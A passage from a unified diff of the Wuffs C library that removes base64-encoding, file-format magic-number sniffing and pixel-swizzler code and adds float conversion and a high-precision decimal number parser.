0x000FFFFFFFFFFFFF; + +- do { +- while (s_len >= 3) { +- if (d_len < 4) { +- o.status.repr = wuffs_base__suspension__short_write; +- goto done; +- } +- uint32_t s = wuffs_base__peek_u24be__no_bounds_check(s_ptr); +- s_ptr += 3; +- s_len -= 3; +- *d_ptr++ = alphabet[0x3F & (s >> 18)]; +- *d_ptr++ = alphabet[0x3F & (s >> 12)]; +- *d_ptr++ = alphabet[0x3F & (s >> 6)]; +- *d_ptr++ = alphabet[0x3F & (s >> 0)]; +- d_len -= 4; ++ if (exp == 0x7FF) { ++ if (man == 0) { // Infinity. ++ wuffs_base__lossy_value_u32 ret; ++ ret.value = neg | 0x7F800000; ++ ret.lossy = false; ++ return ret; + } ++ // NaN. Shift the 52 mantissa bits to 23 mantissa bits, keeping the most ++ // significant mantissa bit (quiet vs signaling NaNs). Also set the low 22 ++ // bits of ret.value so that the 23-bit mantissa is non-zero. ++ wuffs_base__lossy_value_u32 ret; ++ ret.value = neg | 0x7FBFFFFF | ((uint32_t)(man >> 29)); ++ ret.lossy = false; ++ return ret; + +- if (!src_closed) { +- o.status.repr = wuffs_base__suspension__short_read; +- goto done; +- } ++ } else if (exp > 0x47E) { // Truncate to the largest finite f32. ++ wuffs_base__lossy_value_u32 ret; ++ ret.value = neg | 0x7F7FFFFF; ++ ret.lossy = true; ++ return ret; + +- if (s_len == 2) { +- if (d_len < +- ((options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) ? 4 : 3)) { +- o.status.repr = wuffs_base__suspension__short_write; +- goto done; +- } +- uint32_t s = ((uint32_t)(wuffs_base__peek_u16be__no_bounds_check(s_ptr))) +- << 8; +- s_ptr += 2; +- *d_ptr++ = alphabet[0x3F & (s >> 18)]; +- *d_ptr++ = alphabet[0x3F & (s >> 12)]; +- *d_ptr++ = alphabet[0x3F & (s >> 6)]; +- if (options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) { +- *d_ptr++ = '='; +- } +- o.status.repr = NULL; +- goto done; ++ } else if (exp <= 0x369) { // Truncate to zero. ++ wuffs_base__lossy_value_u32 ret; ++ ret.value = neg; ++ ret.lossy = (u != 0); ++ return ret; + +- } else if (s_len == 1) { +- if (d_len < +- ((options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) ? 4 : 2)) { +- o.status.repr = wuffs_base__suspension__short_write; +- goto done; +- } +- uint32_t s = ((uint32_t)(wuffs_base__peek_u8__no_bounds_check(s_ptr))) +- << 16; +- s_ptr += 1; +- *d_ptr++ = alphabet[0x3F & (s >> 18)]; +- *d_ptr++ = alphabet[0x3F & (s >> 12)]; +- if (options & WUFFS_BASE__BASE_64__ENCODE_EMIT_PADDING) { +- *d_ptr++ = '='; +- *d_ptr++ = '='; +- } +- o.status.repr = NULL; +- goto done; ++ } else if (exp <= 0x380) { // Normal f64, subnormal f32. ++ // Convert from a 53-bit mantissa (after realizing the implicit bit) to a ++ // 23-bit mantissa and then adjust for the exponent. ++ man |= 0x0010000000000000; ++ uint32_t shift = ((uint32_t)(926 - exp)); // 926 = 0x380 + 53 - 23. ++ uint64_t shifted_man = man >> shift; ++ wuffs_base__lossy_value_u32 ret; ++ ret.value = neg | ((uint32_t)shifted_man); ++ ret.lossy = (shifted_man << shift) != man; ++ return ret; ++ } + +- } else { +- o.status.repr = NULL; +- goto done; +- } +- } while (0); ++ // Normal f64, normal f32. + +-done: +- o.num_dst = (size_t)(d_ptr - dst.ptr); +- o.num_src = (size_t)(s_ptr - src.ptr); +- return o; ++ // Re-bias from 1023 to 127 and shift above f32's 23 mantissa bits. ++ exp = (exp - 896) << 23; // 896 = 1023 - 127 = 0x3FF - 0x7F. ++ ++ // Convert from a 52-bit mantissa (excluding the implicit bit) to a 23-bit ++ // mantissa (again excluding the implicit bit). We lose some information if ++ // any of the bottom 29 bits are non-zero. ++ wuffs_base__lossy_value_u32 ret; ++ ret.value = neg | ((uint32_t)exp) | ((uint32_t)(man >> 29)); ++ ret.lossy = (man << 35) != 0; ++ return ret; + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || +- // defined(WUFFS_CONFIG__MODULE__BASE) || +- // defined(WUFFS_CONFIG__MODULE__BASE__INTCONV) ++// -------- + +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ +- defined(WUFFS_CONFIG__MODULE__BASE__MAGIC) ++#define WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE 2047 ++#define WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION 800 + +-// ---------------- Magic Numbers ++// WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL is the largest N such that ++// ((10 << N) < (1 << 64)). ++#define WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL 60 + +-// ICO doesn't start with a magic identifier. Instead, see if the opening bytes +-// are plausibly ICO. ++// wuffs_private_impl__high_prec_dec (abbreviated as HPD) is a fixed precision ++// floating point decimal number, augmented with ±infinity values, but it ++// cannot represent NaN (Not a Number). + // +-// Callers should have already verified that (prefix_data.len >= 2) and the +-// first two bytes are 0x00. ++// "High precision" means that the mantissa holds 800 decimal digits. 800 is ++// WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION. + // +-// See: +-// - https://docs.fileformat.com/image/ico/ +-static int32_t // +-wuffs_base__magic_number_guess_fourcc__maybe_ico( +- wuffs_base__slice_u8 prefix_data, +- bool prefix_closed) { +- // Allow-list for the Image Type field. +- if (prefix_data.len < 4) { +- return prefix_closed ? 0 : -1; +- } else if (prefix_data.ptr[3] != 0) { +- return 0; +- } +- switch (prefix_data.ptr[2]) { +- case 0x01: // ICO +- case 0x02: // CUR +- break; +- default: +- return 0; +- } +- +- // The Number Of Images should be positive. +- if (prefix_data.len < 6) { +- return prefix_closed ? 0 : -1; +- } else if ((prefix_data.ptr[4] == 0) && (prefix_data.ptr[5] == 0)) { +- return 0; +- } ++// An HPD isn't for general purpose arithmetic, only for conversions to and ++// from IEEE 754 double-precision floating point, where the largest and ++// smallest positive, finite values are approximately 1.8e+308 and 4.9e-324. ++// HPD exponents above +2047 mean infinity, below -2047 mean zero. The ±2047 ++// bounds are further away from zero than ±(324 + 800), where 800 and 2047 is ++// WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION and ++// WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE. ++// ++// digits[.. num_digits] are the number's digits in big-endian order. The ++// uint8_t values are in the range [0 ..= 9], not ['0' ..= '9'], where e.g. '7' ++// is the ASCII value 0x37. ++// ++// decimal_point is the index (within digits) of the decimal point. It may be ++// negative or be larger than num_digits, in which case the explicit digits are ++// padded with implicit zeroes. ++// ++// For example, if num_digits is 3 and digits is "\x07\x08\x09": ++// - A decimal_point of -2 means ".00789" ++// - A decimal_point of -1 means ".0789" ++// - A decimal_point of +0 means ".789" ++// - A decimal_point of +1 means "7.89" ++// - A decimal_point of +2 means "78.9" ++// - A decimal_point of +3 means "789." ++// - A decimal_point of +4 means "7890." ++// - A decimal_point of +5 means "78900." ++// ++// As above, a decimal_point higher than +2047 means that the overall value is ++// infinity, lower than -2047 means zero. ++// ++// negative is a sign bit. An HPD can distinguish positive and negative zero. ++// ++// truncated is whether there are more than ++// WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION digits, and at least one of those ++// extra digits are non-zero. The existence of long-tail digits can affect ++// rounding. ++// ++// The "all fields are zero" value is valid, and represents the number +0. ++typedef struct wuffs_private_impl__high_prec_dec__struct { ++ uint32_t num_digits; ++ int32_t decimal_point; ++ bool negative; ++ bool truncated; ++ uint8_t digits[WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION]; ++} wuffs_private_impl__high_prec_dec; + +- // The first ICONDIRENTRY's fourth byte should be zero. +- if (prefix_data.len < 10) { +- return prefix_closed ? 0 : -1; +- } else if (prefix_data.ptr[9] != 0) { +- return 0; ++// wuffs_private_impl__high_prec_dec__trim trims trailing zeroes from the ++// h->digits[.. h->num_digits] slice. They have no benefit, since we explicitly ++// track h->decimal_point. ++// ++// Preconditions: ++// - h is non-NULL. ++static inline void // ++wuffs_private_impl__high_prec_dec__trim(wuffs_private_impl__high_prec_dec* h) { ++ while ((h->num_digits > 0) && (h->digits[h->num_digits - 1] == 0)) { ++ h->num_digits--; + } +- +- // TODO: have a separate FourCC for CUR? +- return 0x49434F20; // 'ICO 'be + } + +-// TGA doesn't start with a magic identifier. Instead, see if the opening bytes +-// are plausibly TGA. ++// wuffs_private_impl__high_prec_dec__assign sets h to represent the number x. + // +-// Callers should have already verified that (prefix_data.len >= 2) and the +-// second byte (prefix_data.ptr[1], the Color Map Type byte), is either 0x00 or +-// 0x01. +-// +-// See: +-// - https://docs.fileformat.com/image/tga/ +-// - https://www.dca.fee.unicamp.br/~martino/disciplinas/ea978/tgaffs.pdf +-static int32_t // +-wuffs_base__magic_number_guess_fourcc__maybe_tga( +- wuffs_base__slice_u8 prefix_data, +- bool prefix_closed) { +- // Allow-list for the Image Type field. +- if (prefix_data.len < 3) { +- return prefix_closed ? 0 : -1; +- } +- switch (prefix_data.ptr[2]) { +- case 0x01: +- case 0x02: +- case 0x03: +- case 0x09: +- case 0x0A: +- case 0x0B: +- break; +- default: +- // TODO: 0x20 and 0x21 are invalid, according to the spec, but are +- // apparently unofficial extensions. +- return 0; +- } +- +- // Allow-list for the Color Map Entry Size field (if the Color Map Type field +- // is non-zero) or else all the Color Map fields should be zero. +- if (prefix_data.len < 8) { +- return prefix_closed ? 0 : -1; +- } else if (prefix_data.ptr[1] != 0x00) { +- switch (prefix_data.ptr[7]) { +- case 0x0F: +- case 0x10: +- case 0x18: +- case 0x20: +- break; +- default: +- return 0; +- } +- } else if ((prefix_data.ptr[3] | prefix_data.ptr[4] | prefix_data.ptr[5] | +- prefix_data.ptr[6] | prefix_data.ptr[7]) != 0x00) { +- return 0; +- } ++// Preconditions: ++// - h is non-NULL. ++static void // ++wuffs_private_impl__high_prec_dec__assign(wuffs_private_impl__high_prec_dec* h, ++ uint64_t x, ++ bool negative) { ++ uint32_t n = 0; + +- // Allow-list for the Pixel Depth field. +- if (prefix_data.len < 17) { +- return prefix_closed ? 0 : -1; +- } +- switch (prefix_data.ptr[16]) { +- case 0x01: +- case 0x08: +- case 0x0F: +- case 0x10: +- case 0x18: +- case 0x20: +- break; +- default: +- return 0; ++ // Set h->digits. ++ if (x > 0) { ++ // Calculate the digits, working right-to-left. After we determine n (how ++ // many digits there are), copy from buf to h->digits. ++ // ++ // UINT64_MAX, 18446744073709551615, is 20 digits long. It can be faster to ++ // copy a constant number of bytes than a variable number (20 instead of ++ // n). Make buf large enough (and start writing to it from the middle) so ++ // that can we always copy 20 bytes: the slice buf[(20-n) .. (40-n)]. ++ uint8_t buf[40] = {0}; ++ uint8_t* ptr = &buf[20]; ++ do { ++ uint64_t remaining = x / 10; ++ x -= remaining * 10; ++ ptr--; ++ *ptr = (uint8_t)x; ++ n++; ++ x = remaining; ++ } while (x > 0); ++ memcpy(h->digits, ptr, 20); + } + +- return 0x54474120; // 'TGA 'be ++ // Set h's other fields. ++ h->num_digits = n; ++ h->decimal_point = (int32_t)n; ++ h->negative = negative; ++ h->truncated = false; ++ wuffs_private_impl__high_prec_dec__trim(h); + } + +-WUFFS_BASE__MAYBE_STATIC int32_t // +-wuffs_base__magic_number_guess_fourcc(wuffs_base__slice_u8 prefix_data, +- bool prefix_closed) { +- // This is similar to (but different from): +- // - the magic/Magdir tables under https://github.com/file/file +- // - the MIME Sniffing algorithm at https://mimesniff.spec.whatwg.org/ +- +- // table holds the 'magic numbers' (which are actually variable length +- // strings). The strings may contain NUL bytes, so the "const char* magic" +- // value starts with the length-minus-1 of the 'magic number'. +- // +- // Keep it sorted by magic[1], then magic[0] descending (prioritizing longer +- // matches) and finally by magic[2:]. When multiple entries match, the +- // longest one wins. +- // +- // The fourcc field might be negated, in which case there's further +- // specialization (see § below). +- static struct { +- int32_t fourcc; +- const char* magic; +- } table[] = { +- {-0x30302020, "\x01\x00\x00"}, // '00 'be +- {+0x475A2020, "\x02\x1F\x8B\x08"}, // GZ +- {+0x5A535444, "\x03\x28\xB5\x2F\xFD"}, // ZSTD +- {+0x425A3220, "\x02\x42\x5A\x68"}, // BZ2 +- {+0x424D5020, "\x01\x42\x4D"}, // BMP +- {+0x47494620, "\x03\x47\x49\x46\x38"}, // GIF +- {+0x54494646, "\x03\x49\x49\x2A\x00"}, // TIFF (little-endian) +- {+0x54494646, "\x03\x4D\x4D\x00\x2A"}, // TIFF (big-endian) +- {+0x4E50424D, "\x02\x50\x35\x0A"}, // NPBM (P5; *.pgm) +- {+0x4E50424D, "\x02\x50\x36\x0A"}, // NPBM (P6; *.ppm) +- {-0x52494646, "\x03\x52\x49\x46\x46"}, // RIFF +- {+0x4C5A4D41, "\x04\x5D\x00\x10\x00\x00"}, // LZMA +- {+0x4C5A4D41, "\x02\x5D\x00\x00"}, // LZMA +- {+0x4E494520, "\x02\x6E\xC3\xAF"}, // NIE +- {+0x514F4920, "\x03\x71\x6F\x69\x66"}, // QOI +- {+0x5A4C4942, "\x01\x78\x9C"}, // ZLIB +- {+0x504E4720, "\x03\x89\x50\x4E\x47"}, // PNG +- {+0x585A2020, "\x04\xFD\x37\x7A\x58\x5A"}, // XZ +- {+0x4A504547, "\x01\xFF\xD8"}, // JPEG +- }; +- static const size_t table_len = sizeof(table) / sizeof(table[0]); +- +- if (prefix_data.len == 0) { +- return prefix_closed ? 0 : -1; ++static wuffs_base__status // ++wuffs_private_impl__high_prec_dec__parse(wuffs_private_impl__high_prec_dec* h, ++ wuffs_base__slice_u8 s, ++ uint32_t options) { ++ if (!h) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); + } +- uint8_t pre_first_byte = prefix_data.ptr[0]; ++ h->num_digits = 0; ++ h->decimal_point = 0; ++ h->negative = false; ++ h->truncated = false; + +- int32_t fourcc = 0; +- size_t i; +- for (i = 0; i < table_len; i++) { +- uint8_t mag_first_byte = ((uint8_t)(table[i].magic[1])); +- if (pre_first_byte < mag_first_byte) { +- break; +- } else if (pre_first_byte > mag_first_byte) { +- continue; +- } +- fourcc = table[i].fourcc; ++ uint8_t* p = s.ptr; ++ uint8_t* q = s.ptr + s.len; + +- uint8_t mag_remaining_len = ((uint8_t)(table[i].magic[0])); +- if (mag_remaining_len == 0) { +- goto match; ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ for (;; p++) { ++ if (p >= q) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } else if (*p != '_') { ++ break; ++ } + } ++ } + +- const char* mag_remaining_ptr = table[i].magic + 2; +- uint8_t* pre_remaining_ptr = prefix_data.ptr + 1; +- size_t pre_remaining_len = prefix_data.len - 1; +- if (pre_remaining_len < mag_remaining_len) { +- if (!memcmp(pre_remaining_ptr, mag_remaining_ptr, pre_remaining_len)) { +- return prefix_closed ? 0 : -1; +- } ++ // Parse sign. ++ do { ++ if (*p == '+') { ++ p++; ++ } else if (*p == '-') { ++ h->negative = true; ++ p++; + } else { +- if (!memcmp(pre_remaining_ptr, mag_remaining_ptr, mag_remaining_len)) { +- goto match; ++ break; ++ } ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ for (;; p++) { ++ if (p >= q) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } else if (*p != '_') { ++ break; ++ } + } + } +- } +- +- if (prefix_data.len < 2) { +- return prefix_closed ? 0 : -1; +- } else if ((prefix_data.ptr[1] == 0x00) || (prefix_data.ptr[1] == 0x01)) { +- return wuffs_base__magic_number_guess_fourcc__maybe_tga(prefix_data, +- prefix_closed); +- } +- +- return 0; +- +-match: +- // Negative FourCC values (see § above) are further specialized. +- if (fourcc < 0) { +- fourcc = -fourcc; ++ } while (0); + +- if (fourcc == 0x52494646) { // 'RIFF'be +- if (prefix_data.len < 12) { +- return prefix_closed ? 0 : -1; ++ // Parse digits, up to (and including) a '.', 'E' or 'e'. Examples for each ++ // limb in this if-else chain: ++ // - "0.789" ++ // - "1002.789" ++ // - ".789" ++ // - Other (invalid input). ++ uint32_t nd = 0; ++ int32_t dp = 0; ++ bool no_digits_before_separator = false; ++ if (('0' == *p) && ++ !(options & ++ WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_MULTIPLE_LEADING_ZEROES)) { ++ p++; ++ for (;; p++) { ++ if (p >= q) { ++ goto after_all; ++ } else if (*p == ++ ((options & ++ WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) ++ ? ',' ++ : '.')) { ++ p++; ++ goto after_sep; ++ } else if ((*p == 'E') || (*p == 'e')) { ++ p++; ++ goto after_exp; ++ } else if ((*p != '_') || ++ !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); + } +- uint32_t x = wuffs_base__peek_u32be__no_bounds_check(prefix_data.ptr + 8); +- if (x == 0x57454250) { // 'WEBP'be +- return 0x57454250; // 'WEBP'be ++ } ++ ++ } else if (('0' <= *p) && (*p <= '9')) { ++ if (*p == '0') { ++ for (; (p < q) && (*p == '0'); p++) { + } ++ } else { ++ h->digits[nd++] = (uint8_t)(*p - '0'); ++ dp = (int32_t)nd; ++ p++; ++ } + +- } else if (fourcc == 0x30302020) { // '00 'be +- // Binary data starting with multiple 0x00 NUL bytes is quite common. +- // Unfortunately, some file formats also don't start with a magic +- // identifier, so we have to use heuristics (where the order matters, the +- // same as /usr/bin/file's magic/Magdir tables) as best we can. Maybe +- // it's TGA, ICO/CUR, etc. Maybe it's something else. +- int32_t tga = wuffs_base__magic_number_guess_fourcc__maybe_tga( +- prefix_data, prefix_closed); +- if (tga != 0) { +- return tga; ++ for (;; p++) { ++ if (p >= q) { ++ goto after_all; ++ } else if (('0' <= *p) && (*p <= '9')) { ++ if (nd < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { ++ h->digits[nd++] = (uint8_t)(*p - '0'); ++ dp = (int32_t)nd; ++ } else if ('0' != *p) { ++ // Long-tail non-zeroes set the truncated bit. ++ h->truncated = true; ++ } ++ } else if (*p == ++ ((options & ++ WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) ++ ? ',' ++ : '.')) { ++ p++; ++ goto after_sep; ++ } else if ((*p == 'E') || (*p == 'e')) { ++ p++; ++ goto after_exp; ++ } else if ((*p != '_') || ++ !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); + } +- int32_t ico = wuffs_base__magic_number_guess_fourcc__maybe_ico( +- prefix_data, prefix_closed); +- if (ico != 0) { +- return ico; ++ } ++ ++ } else if (*p == ((options & ++ WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) ++ ? ',' ++ : '.')) { ++ p++; ++ no_digits_before_separator = true; ++ ++ } else { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ ++after_sep: ++ for (;; p++) { ++ if (p >= q) { ++ goto after_all; ++ } else if ('0' == *p) { ++ if (nd == 0) { ++ // Track leading zeroes implicitly. ++ dp--; ++ } else if (nd < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { ++ h->digits[nd++] = (uint8_t)(*p - '0'); + } +- if (prefix_data.len < 4) { +- return prefix_closed ? 0 : -1; +- } else if ((prefix_data.ptr[2] != 0x00) && +- ((prefix_data.ptr[2] >= 0x80) || +- (prefix_data.ptr[3] != 0x00))) { +- // Roughly speaking, this could be a non-degenerate (non-0-width and +- // non-0-height) WBMP image. +- return 0x57424D50; // 'WBMP'be ++ } else if (('0' < *p) && (*p <= '9')) { ++ if (nd < WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION) { ++ h->digits[nd++] = (uint8_t)(*p - '0'); ++ } else { ++ // Long-tail non-zeroes set the truncated bit. ++ h->truncated = true; + } +- return 0; ++ } else if ((*p == 'E') || (*p == 'e')) { ++ p++; ++ goto after_exp; ++ } else if ((*p != '_') || ++ !(options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); + } + } +- return fourcc; +-} +- +-#endif // !defined(WUFFS_CONFIG__MODULES) || +- // defined(WUFFS_CONFIG__MODULE__BASE) || +- // defined(WUFFS_CONFIG__MODULE__BASE__MAGIC) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__BASE) || \ +- defined(WUFFS_CONFIG__MODULE__BASE__PIXCONV) + +-// ---------------- Pixel Swizzler ++after_exp: ++ do { ++ if (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES) { ++ for (;; p++) { ++ if (p >= q) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } else if (*p != '_') { ++ break; ++ } ++ } ++ } + +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") +-static uint64_t // +-wuffs_base__pixel_swizzler__bgrw__rgb__x86_sse42(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len); ++ int32_t exp_sign = +1; ++ if (*p == '+') { ++ p++; ++ } else if (*p == '-') { ++ exp_sign = -1; ++ p++; ++ } + +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") +-static uint64_t // +-wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len); ++ int32_t exp = 0; ++ const int32_t exp_large = WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE + ++ WUFFS_PRIVATE_IMPL__HPD__DIGITS_PRECISION; ++ bool saw_exp_digits = false; ++ for (; p < q; p++) { ++ if ((*p == '_') && ++ (options & WUFFS_BASE__PARSE_NUMBER_XXX__ALLOW_UNDERSCORES)) { ++ // No-op. ++ } else if (('0' <= *p) && (*p <= '9')) { ++ saw_exp_digits = true; ++ if (exp < exp_large) { ++ exp = (10 * exp) + ((int32_t)(*p - '0')); ++ } ++ } else { ++ break; ++ } ++ } ++ if (!saw_exp_digits) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ dp += exp_sign * exp; ++ } while (0); + +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") +-static uint64_t // +-wuffs_base__pixel_swizzler__xxxx__y__x86_sse42(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len); +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) ++after_all: ++ if (p != q) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ h->num_digits = nd; ++ if (nd == 0) { ++ if (no_digits_before_separator) { ++ return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ } ++ h->decimal_point = 0; ++ } else if (dp < -WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) { ++ h->decimal_point = -WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE - 1; ++ } else if (dp > +WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE) { ++ h->decimal_point = +WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE + 1; ++ } else { ++ h->decimal_point = dp; ++ } ++ wuffs_private_impl__high_prec_dec__trim(h); ++ return wuffs_base__make_status(NULL); ++} + + // -------- + +-static inline uint32_t // +-wuffs_base__swap_u32_argb_abgr(uint32_t u) { +- uint32_t o = u & 0xFF00FF00ul; +- uint32_t r = u & 0x00FF0000ul; +- uint32_t b = u & 0x000000FFul; +- return o | (r >> 16) | (b << 16); +-} ++// wuffs_private_impl__high_prec_dec__lshift_num_new_digits returns the number ++// of additional decimal digits when left-shifting by shift. ++// ++// See below for preconditions. ++static uint32_t // ++wuffs_private_impl__high_prec_dec__lshift_num_new_digits( ++ wuffs_private_impl__high_prec_dec* h, ++ uint32_t shift) { ++ // Masking with 0x3F should be unnecessary (assuming the preconditions) but ++ // it's cheap and ensures that we don't overflow the ++ // wuffs_private_impl__hpd_left_shift array. ++ shift &= 63; + +-static inline uint64_t // +-wuffs_base__swap_u64_argb_abgr(uint64_t u) { +- uint64_t o = u & 0xFFFF0000FFFF0000ull; +- uint64_t r = u & 0x0000FFFF00000000ull; +- uint64_t b = u & 0x000000000000FFFFull; +- return o | (r >> 32) | (b << 32); +-} ++ uint32_t x_a = wuffs_private_impl__hpd_left_shift[shift]; ++ uint32_t x_b = wuffs_private_impl__hpd_left_shift[shift + 1]; ++ uint32_t num_new_digits = x_a >> 11; ++ uint32_t pow5_a = 0x7FF & x_a; ++ uint32_t pow5_b = 0x7FF & x_b; + +-static inline uint32_t // +-wuffs_base__color_u64__as__color_u32__swap_u32_argb_abgr(uint64_t c) { +- uint32_t a = ((uint32_t)(0xFF & (c >> 56))); +- uint32_t r = ((uint32_t)(0xFF & (c >> 40))); +- uint32_t g = ((uint32_t)(0xFF & (c >> 24))); +- uint32_t b = ((uint32_t)(0xFF & (c >> 8))); +- return (a << 24) | (b << 16) | (g << 8) | (r << 0); ++ const uint8_t* pow5 = &wuffs_private_impl__powers_of_5[pow5_a]; ++ uint32_t i = 0; ++ uint32_t n = pow5_b - pow5_a; ++ for (; i < n; i++) { ++ if (i >= h->num_digits) { ++ return num_new_digits - 1; ++ } else if (h->digits[i] == pow5[i]) { ++ continue; ++ } else if (h->digits[i] < pow5[i]) { ++ return num_new_digits - 1; ++ } else { ++ return num_new_digits; ++ } ++ } ++ return num_new_digits; + } + + // -------- + +-WUFFS_BASE__MAYBE_STATIC wuffs_base__color_u32_argb_premul // +-wuffs_base__pixel_buffer__color_u32_at(const wuffs_base__pixel_buffer* pb, +- uint32_t x, +- uint32_t y) { +- if (!pb || (x >= pb->pixcfg.private_impl.width) || +- (y >= pb->pixcfg.private_impl.height)) { ++// wuffs_private_impl__high_prec_dec__rounded_integer returns the integral ++// (non-fractional) part of h, provided that it is 18 or fewer decimal digits. ++// For 19 or more digits, it returns UINT64_MAX. Note that: ++// - (1 << 53) is 9007199254740992, which has 16 decimal digits. ++// - (1 << 56) is 72057594037927936, which has 17 decimal digits. ++// - (1 << 59) is 576460752303423488, which has 18 decimal digits. ++// - (1 << 63) is 9223372036854775808, which has 19 decimal digits. ++// and that IEEE 754 double precision has 52 mantissa bits. ++// ++// That integral part is rounded-to-even: rounding 7.5 or 8.5 both give 8. ++// ++// h's negative bit is ignored: rounding -8.6 returns 9. ++// ++// See below for preconditions. ++static uint64_t // ++wuffs_private_impl__high_prec_dec__rounded_integer( ++ wuffs_private_impl__high_prec_dec* h) { ++ if ((h->num_digits == 0) || (h->decimal_point < 0)) { + return 0; ++ } else if (h->decimal_point > 18) { ++ return UINT64_MAX; + } + +- if (wuffs_base__pixel_format__is_planar(&pb->pixcfg.private_impl.pixfmt)) { +- // TODO: support planar formats. +- return 0; ++ uint32_t dp = (uint32_t)(h->decimal_point); ++ uint64_t n = 0; ++ uint32_t i = 0; ++ for (; i < dp; i++) { ++ n = (10 * n) + ((i < h->num_digits) ? h->digits[i] : 0); + } + +- size_t stride = pb->private_impl.planes[0].stride; +- const uint8_t* row = pb->private_impl.planes[0].ptr + (stride * ((size_t)y)); ++ bool round_up = false; ++ if (dp < h->num_digits) { ++ round_up = h->digits[dp] >= 5; ++ if ((h->digits[dp] == 5) && (dp + 1 == h->num_digits)) { ++ // We are exactly halfway. If we're truncated, round up, otherwise round ++ // to even. ++ round_up = h->truncated || // ++ ((dp > 0) && (1 & h->digits[dp - 1])); ++ } ++ } ++ if (round_up) { ++ n++; ++ } + +- switch (pb->pixcfg.private_impl.pixfmt.repr) { +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY: +- return wuffs_base__peek_u32le__no_bounds_check(row + (4 * ((size_t)x))); ++ return n; ++} + +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL: +- case WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY: { +- uint8_t* palette = pb->private_impl.planes[3].ptr; +- return wuffs_base__peek_u32le__no_bounds_check(palette + +- (4 * ((size_t)row[x]))); +- } ++// wuffs_private_impl__high_prec_dec__small_xshift shifts h's number (where 'x' ++// is 'l' or 'r' for left or right) by a small shift value. ++// ++// Preconditions: ++// - h is non-NULL. ++// - h->decimal_point is "not extreme". ++// - shift is non-zero. ++// - shift is "a small shift". ++// ++// "Not extreme" means within ±WUFFS_PRIVATE_IMPL__HPD__DECIMAL_POINT__RANGE. ++// ++// "A small shift" means not more than ++// WUFFS_PRIVATE_IMPL__HPD__SHIFT__MAX_INCL. ++// ++// wuffs_private_impl__high_prec_dec__rounded_integer and ++// wuffs_private_impl__high_prec_dec__lshift_num_new_digits have the same ++// preconditions. ++// ++// wuffs_private_impl__high_prec_dec__lshift keeps the first two preconditions ++// but not the last two. Its shift argument is signed and does not need to be ++// "small": zero is a no-op, positive means left shift and negative means right ++// shift. + +- // Common formats above. Rarer formats below. ++static void // 